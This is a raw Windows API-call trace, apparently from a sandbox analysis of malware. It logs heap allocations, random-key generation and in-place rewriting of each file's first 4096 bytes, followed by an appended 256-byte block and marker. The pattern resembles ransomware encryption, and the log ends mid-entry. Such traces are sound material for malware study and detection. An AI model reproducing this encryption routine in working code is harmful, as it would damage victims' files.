[0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.242] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.243] GetProcessHeap () returned 0x540000 [0083.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.244] GetProcessHeap () returned 0x540000 [0083.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.245] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.245] WriteFile (in: hFile=0x84c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.245] WriteFile (in: hFile=0x84c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.245] GetProcessHeap () returned 0x540000 [0083.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.245] CloseHandle (hObject=0x84c) returned 1 [0083.247] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 53 [0083.247] SetFilePointerEx (in: hFile=0x850, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.247] ReadFile (in: hFile=0x850, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.247] SetFilePointerEx (in: hFile=0x850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.247] GetProcessHeap () returned 0x540000 [0083.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.247] GetProcessHeap () returned 0x540000 [0083.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.247] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.247] GetProcessHeap () returned 0x540000 [0083.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.247] ReadFile (in: hFile=0x850, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.294] SetFilePointerEx (in: hFile=0x850, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.294] WriteFile (in: hFile=0x850, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.295] GetProcessHeap () returned 0x540000 [0083.295] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.295] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.296] GetProcessHeap () returned 0x540000 [0083.296] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.296] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.297] GetProcessHeap () returned 0x540000 [0083.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.298] GetProcessHeap () returned 0x540000 [0083.298] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.299] SetFilePointerEx (in: hFile=0x850, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.299] WriteFile (in: hFile=0x850, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.299] WriteFile (in: hFile=0x850, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.299] GetProcessHeap () returned 0x540000 [0083.299] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.300] GetProcessHeap () returned 0x540000 [0083.303] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.303] CloseHandle (hObject=0x850) returned 1 [0083.305] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 54 [0083.305] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.305] ReadFile (in: hFile=0x854, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.305] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.305] GetProcessHeap () returned 0x540000 [0083.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.305] GetProcessHeap () returned 0x540000 [0083.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.305] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.305] GetProcessHeap () returned 0x540000 [0083.305] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.305] ReadFile (in: hFile=0x854, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.389] SetFilePointerEx (in: hFile=0x854, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.390] WriteFile (in: hFile=0x854, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.390] GetProcessHeap () returned 0x540000 [0083.390] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.390] GetProcessHeap () returned 